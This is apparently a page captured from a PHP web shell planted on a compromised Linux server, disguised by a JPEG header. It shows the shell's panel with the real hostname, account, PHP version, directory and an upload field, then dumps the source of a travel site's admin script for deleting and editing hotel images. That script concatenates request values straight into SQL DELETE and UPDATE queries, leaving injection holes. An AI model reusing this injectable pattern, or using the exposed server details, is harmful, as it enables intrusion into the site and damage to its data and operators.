ÿØÿà JFIF ` ` ÿþ
Server : Apache System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : tkt_travelbus ( 1137) PHP Version : 7.0.0p1 Disable Function : mysql_pconnect Directory : /tkt_travelbus/www/admin/place/ |
Upload File : |
<?include "../include/topProc.html";?> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <? $TagName="area_"; $TableName="TB_HotelImg"; $SqlType = Trim($_REQUEST[SqlType]); if(!$page){ $page="1"; } If($SqlType =="alldel"){ $savedir = "../../FileData/hotel_img/"; $savedir2 = "../../FileData/hotel_img_thum/"; if(sizeof($ChkRidx)>0){ for($i=0; $i<sizeof($ChkRidx) ; $i++){ if($ChkRidx[$i]){ $SqlCs="SELECT ImgTitle FROM ".$TableName." WHERE iDX='".$ChkRidx[$i]."' "; $result = db_query( $SqlCs ); $RsCs = db_fetch_row( $result ); if($RsCs[0] !=""){ $file_del = $savedir.$RsCs[0]; $file_del2 = $savedir2.$RsCs[0]; if(file_exists($file_del)){ unlink($file_del); } if(file_exists($file_del2)){ unlink($file_del2); } } $EdSQL =" DELETE FROM TB_HotelImg "; $EdSQL.=" WHERE iDX='".$ChkRidx[$i]."' "; $result = db_query( $EdSQL ); } } } If($result){ echo "<SCRIPT LANGUAGE='JavaScript'>InfoHtml('InfoPhoto.html?Gidx=".$Gidx."&photo_page=1','Photo');loadingBarOff('N')</SCRIPT>"; }Else{ echo "<SCRIPT LANGUAGE='JavaScript'>window.alert('실패했습니다!');</script>"; } exit; }Else If($SqlType =="alledit"){ if(sizeof($ChkRidxEdit)>0){ for($i=0; $i<sizeof($ChkRidxEdit) ; $i++){ if($ChkRidxEdit[$i]){ $EdSQL=" UPDATE TB_HotelImg SET "; //$EdSQL.=" ImgMemo='".insert_smart(iconv("UTF-8","EUC-KR//IGNORE",$ImgMemo[$i]),"text")."' "; $EdSQL.=" ImgMemo='".insert_smart($ImgMemo[$i],"text")."' "; $EdSQL.=" , ImgType='".$rImgType[$i]."' "; $EdSQL.=" , OrderNum='".$OrderNum[$i]."' "; $EdSQL.=" WHERE iDX='".$ChkRidxEdit[$i]."' "; $result = db_query( $EdSQL ); } } } If($result){ echo "<SCRIPT LANGUAGE='JavaScript'>InfoHtml('InfoPhoto.html?Gidx=".$Gidx."&photo_page=".$photo_page."','Photo');loadingBarOff('N')</SCRIPT>"; }Else{ echo "<SCRIPT LANGUAGE='JavaScript'>window.alert('등록하는데 실패했습니다!');</script>"; } exit; } Else If($SqlType =="insert"){ /* If($result){ echo "<SCRIPT LANGUAGE='JavaScript'>alert('성공');</SCRIPT>"; // echo "<SCRIPT LANGUAGE='JavaScript'>InfoHtml('InfoPhoto.html?eGidx=".$eGidx."&photo_page=".$photo_page."','Photo');loadingBarOff('N')</SCRIPT>"; }Else{ echo "<SCRIPT LANGUAGE='JavaScript'>window.alert('등록하는데 실패했습니다!');</script>"; }*/ exit; } // 삭제 끝 ?>